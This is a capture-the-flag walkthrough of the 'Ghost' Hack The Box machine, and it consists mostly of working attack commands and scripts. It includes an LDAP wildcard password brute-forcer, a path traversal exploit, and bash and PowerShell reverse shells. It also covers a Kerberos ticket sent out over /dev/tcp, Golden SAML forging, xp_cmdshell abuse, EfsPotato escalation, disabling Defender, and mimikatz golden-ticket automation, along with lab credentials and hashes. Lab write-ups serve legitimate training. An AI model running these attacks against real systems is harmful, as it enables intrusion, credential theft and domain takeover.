Explore the fundamentals of cybersecurity in the Ghost Capture The Flag (CTF) challenge, a insane-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

10.10.11.24 ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb federation.ghost.htb bitbucket.ghost.htb

Script to add hosts automatically

ip="10.10.11.24"
domain="ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb federation.ghost.htb bitbucket.ghost.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV ghost.htb
Nmap scan report for ghost.htb (10.10.11.24)
Host is up (0.055s latency).
Not shown: 981 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-19 12:24:06Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
443/tcp  open  https?
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-11-19T12:17:22
|_Not valid after:  2054-11-19T12:17:22
|_ssl-date: 2024-11-19T12:25:26+00:00; +1s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-11-19T12:25:26+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2024-11-19T12:24:48+00:00
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-11-18T12:14:33
|_Not valid after:  2025-05-20T12:14:33
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp open  http          nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-title: Ghost
|_http-generator: Ghost 5.78
8443/tcp open  ssl/http      nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
| http-title: Ghost Core
|_Requested resource was /login
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-11-19T12:24:49
|_  start_date: N/A

Subdomains Discovery

Use ffuf to discover subdomains by fuzzing the Host header.

ffuf -w /usr/share/dict/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u "http://ghost.htb:8008" -H "Host: FUZZ.ghost.htb" -c -fs 7676

Discovered Subdomains

  • gitea.ghost.htb
  • intranet.ghost.htb
  • (and more discovered subdomains)

LDAP Wildcard

The backend appears to perform an LDAP comparison with the user input. By injecting a wildcard character * as input bypassed authentication, resulting in a valid JWT token.

import string
import requests
from pwn import *

url = 'http://intranet.ghost.htb:8008/login'
bar = log.progress("Bruteforcing password")
headers = {
    'Host': 'intranet.ghost.htb:8008',
    'Accept-Language': 'en-US,en;q=0.5',
    'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D',
    'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
    'Accept-Encoding': 'gzip, deflate, br',
    'Connection': 'keep-alive'
}
password = ""
try:
    while True:
        found = False
        for char in string.ascii_lowercase + string.digits:
            bar.status(f"Trying '{password + char}*'")
            files = {
                '1_ldap-username': (None, 'gitea_temp_principal'),
                '1_ldap-secret': (None, f'{password}{char}*'),
                '0': (None, '[{},"$K1"]')
            }
            res = requests.post(url, headers=headers, files=files)
            if res.status_code == 303:
                password += char
                found = True
                break
        if not found:
            break
except KeyboardInterrupt:
    bar.failure("Bruteforce interrupted")
bar.success(f"Final password: {password}")

After running the script, we obtain the following credentials for the user gitea_temp_principal:

  • Username: gitea_temp_principal
  • Password: szrr8kpc3z6onlqf

Using these credentials, sign in at:

An interesting file found on the server is:

This file reveals a potential API key:

  • API Key: a5af628828958c976a3b6cc81a

Path Traversal Proof of Concept

The following commands demonstrate a path traversal vulnerability, allowing access to restricted files:

pathtraversal="../../../../proc/self/environ"
curl -s "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=$pathtraversal&key=a5af628828958c976a3b6cc81a" | jq ".meta.extra.\"$pathtraversal\""

This yelds !@yqr!X2kxmQ.@Xe

Remote Code Execution

The path traversal vulnerability enables remote code execution (RCE). A notable file, scan.rs, contains information suggesting an endpoint that can be exploited:

Start a listener on your machine:

nc -lvnp 9001

Execute the payload:

vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
timeout 5s curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d "{\"url\":\"0<&196;exec 196<>/dev/tcp/${vpnip}/9001; /bin/bash <&196 >&196 2>&196\"}"

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

stty size; stty raw -echo; fg

As the last step, set the terminal environment:

export TERM=xterm;
cat /docker-entrypoint.sh

[!Note] ControlMaster is an OpenSSH SSO feature that allows multiple sessions to share a single network connection. After an initial ssh connection with authentication, subsequent sessions (svn, rsync, etc.) reuse the connection without re-authentication. Learn more: Harvard FAS Guide.

ls -l /root/.ssh/controlmaster/

As we can see we can ssh in the target

ssh florence.ramirez@ghost.htb@dev-workstation
env

An interesting file is /tmp/krb5cc_50 is a ticket so

Setup a listener to receive the file in the local machine:

nc -lp 12345 > /tmp/krb5cc_50

In the target transfer tath file

cat /tmp/krb5cc_50 > /dev/tcp/<vpnip>/12345

In you local machine:

export KRB5CCNAME=/tmp/krb5cc_50
klist

Used nsupdate with GSS-TSIG to add DNS entries dynamically via VPN IP; krbrelayx-dnstool -k failed earlier.

vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
nsupdate -g -D <<EOF
server 10.10.11.24
zone ghost.htb
update add bitbucket.ghost.htb. 180 A $vpnip
send
EOF
sleep 1
dig @10.10.11.24 bitbucket.ghost.htb A
sudo responder -I tun0

Brute Force the Hash

echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat 5600 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt

this yelds Qwertyuiop1234$$

evil-winrm -i ghost.htb -u JUSTIN.BRADLEY -p 'Qwertyuiop1234$$'
cat \users\justin.bradley\desktop\user.txt
Get-ADGroup -Identity Key Admins -Properties *

Members can perform admin actions on key domain objects. SID: S-1-5-21-4084500788-938703357-3654145966-526.

Query LDAP on your local machine:

nxc ldap 10.10.11.24 -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa

gMSA Account: adfs_gmsa$, NTLM Hash: 3d76bf27456f0e647a849e8afb99207a.

Golden SAML steps:

Add computer:

addcomputer.py -dc-ip 10.10.11.24 -method SAMR -computer-name PWN$ -computer-pass 'StrongPassword123!' ghost.htb/justin.bradley:'Qwertyuiop1234$$'

Connect with evil-winrm:

evil-winrm -i ghost.htb -u "ADFS_GMSA$" -H 3d76bf27456f0e647a849e8afb99207a

Upload & run ADFSDump.exe:

upload .local/www/win/lateral/ADFSDump.exe
./ADFSDump.exe

in your local pc

git clone https://github.com/mandiant/ADFSpoof
cd ADFSpoof
nano DKMKey.txt
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

Only the second privatekey works, so no need to test the others unless it fails.

nano TKSKey.txt
<Encrypted Token Signing Key>

Decoding Files:

cat TKSKey.txt | base64 -d > TKSKey.bin
cat DKMKey.txt | tr -d "-" | xxd -r -p > DKMkey.bin

ADFSpoof:

python -m venv venv
source venv/bin/activate
nano requirements.txt # make lxml==4.9.1 to lxml
pip install -r requirements.txt
pip3 install --upgrade six # https://github.com/benjaminp/six/issues/384
python ADFSpoof.py -b TKSKey.bin DKMkey.bin -s federation.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat 'urn:oasis:names:tc:SAML:2.0:cm:bearer' --nameid 'ghost.htb\administrator' --rpidentifier 'https://core.ghost.htb:8443' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>administrator</AttributeValue></Attribute>'

Intercept GET /api/login https://core.ghost.htb:8443/api/login

In BurpSuite and Modify with this Request:

POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Length: 6397
Content-Type: application/x-www-form-urlencoded

SAMLResponse=<saml>

Response:

HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 19 Nov 2024 17:20:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 46
Connection: close
X-Powered-By: Express
Location: /
Vary: Accept
Set-Cookie: connect.sid=s%3AHdCD4yL0Or9uswU2OB07OihJ-joRcI23.njsU8sex04qQFG6MK%2FKNTkTqTHvOZj38%2FJN4aVGVb%2F8; Path=/; HttpOnly

<p>Found. Redirecting to <a href="/">/</a></p>

Browser Request Setup:

  • In Burp Suite’s Response tab, right-click and select Request in Browser. Copy the generated link and paste it in the browser where you are sending traffic through Burp’s proxy.
  • Click Repeat Request to initiate the request.

Now you can execute SQL queries on the remote server.

Verify Linked Servers:

EXEC sp_linkedservers;
SELECT * FROM master..sysservers;

Enable Command Execution on PRIMARY:

  • Execute commands on the remote PRIMARY machine (CORP.GHOST.HTB) by enabling xp_cmdshell. This configuration allows remote command execution.
EXECUTE('EXECUTE AS LOGIN = ''sa''; 
        EXEC SP_CONFIGURE ''show advanced options'', 1; 
        RECONFIGURE;
        EXEC SP_CONFIGURE ''xp_cmdshell'', 1; 
        RECONFIGURE;
        EXEC xp_cmdshell ''whoami''') AT "PRIMARY";

Reverse Shell Setup:

  • With command execution now available on PRIMARY, set up a reverse shell.

Prepare the Host for Reverse Shell:

  • Create a test directory:
EXECUTE('EXECUTE AS LOGIN = ''sa''; 
        EXEC SP_CONFIGURE ''show advanced options'', 1; 
        RECONFIGURE;
        EXEC SP_CONFIGURE ''xp_cmdshell'', 1; 
        RECONFIGURE;
        EXEC xp_cmdshell ''powershell.exe -c mkdir c:/test''') AT "PRIMARY";
  • Download Netcat:
EXECUTE('EXECUTE AS LOGIN = ''sa''; 
        EXEC SP_CONFIGURE ''show advanced options'', 1; 
        RECONFIGURE;
        EXEC SP_CONFIGURE ''xp_cmdshell'', 1; 
        RECONFIGURE;
        EXEC xp_cmdshell ''powershell.exe -c curl <vpnip>:8000/nc64.exe -o c:/test/nc64.exe''') AT "PRIMARY";
  • Listener:
nc -lvnp 9002
  • Execute Netcat for Reverse Shell:
EXECUTE('EXECUTE AS LOGIN = ''sa''; 
        EXEC SP_CONFIGURE ''xp_cmdshell'', 1; 
        RECONFIGURE;
        EXEC xp_cmdshell ''c:/test/nc64.exe <vpnip> 9002 -e powershell''') AT "PRIMARY";

whoami /priv shows SeImpersonatePrivilege so EfsPotato:

Local:

wget https://raw.githubusercontent.com/zcgonvh/EfsPotato/refs/heads/master/EfsPotato.cs
python -m http.server

Local:

nc -lvnp 9003

Target:

cd \test
curl http://<vpnip>:8000/EfsPotato.cs -o EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
.\EfsPotato.exe 'nc64.exe <vpnip> 9003 -e powershell.exe'
Set-MpPreference -DisableRealtimeMonitoring $True
curl http://<vpnip>:8000/mimikatz.exe -o mimikatz.exe
curl http://<vpnip>:8000/Rubeus.exe -o Rubeus.exe
curl http://<vpnip>:8000/PowerView.ps1 -o PowerView.ps1
. .\PowerView.ps1
Get-DomainSID 
Convert-NameToSid ghost.htb\krbtgt
Get-NetUser | Select-Object -Property samaccountname, objectsid

Note: Set-MpPreference disables antivirus to allow Mimikatz to run without interference.

Manual:

.\mimikatz.exe "lsadump::trust /patch" "exit"

Get rc4_hmac_nt 5800ef4f9195c6c03cf4ff911a80c55c from the [ In ].

To address the timing issue where the TGS may expire if the process isn’t fast enough, the following script automates the workflow with Mimikatz and Rubeus :

$mimikatzPath = ".\mimikatz.exe"
$rubeusPath = ".\Rubeus.exe"
$mimikatzTrustCmd = '"lsadump::trust /patch" exit'
$mimikatzGoldenCmd = '"kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:5800ef4f9195c6c03cf4ff911a80c55c /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi" exit'
$rubeusCmd = "/ticket:golden.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt"
$targetDirectory = "\\dc01.ghost.htb\c$\users\administrator\desktop\"
function Run-Command {
    param (
        [string]$cmd
    )
    & cmd /c $cmd | Out-Null
}
while ($true) {
    try {
        Run-Command "$mimikatzPath $mimikatzTrustCmd"
        Run-Command "$mimikatzPath $mimikatzGoldenCmd"
        Run-Command "$rubeusPath asktgs $rubeusCmd"
        $access = Test-Path $targetDirectory
        if ($access) {
            Write-Host "Access granted to $targetDirectory"
            dir $targetDirectory
            break
        } else {
            Write-Host "Access denied. Purging tickets and retrying..."
            klist purge
        }
    } catch {
        Write-Host "An error occurred: $_"
        klist purge
    }
}
type \\dc01.ghost.htb\c$\users\administrator\desktop\root.txt

Local:

nc -lvnp 9004

rce.ps1

$LHOST = "<vpnip>"; $LPORT = 9004; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

Local

curl -s https://github.com/Maksymilian-cloud/PsExec/raw/refs/heads/main/PsExec64.exe -o PsExec.exe
python -m http.server
curl http://<vpnip>:8000/rce.ps1 -o rce.ps1
curl http://<vpnip>:8000/PsExec64.exe -o PsExec64.exe
copy  C:\test\rce.ps1 \\dc01.ghost.htb\c$\programdata\rce.ps1
.\PsExec64.exe -accepteula \\DC01.ghost.htb cmd.exe /c "powershell -c C:\programdata\rce.ps1"

In 9004:

cd \
Set-MpPreference -DisableRealtimeMonitoring $True
curl http://10.10.14.54:8000/mimikatz.exe -o mimikatz.exe
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"

1cdb17d5c14ff69e7067cffcc9e470bd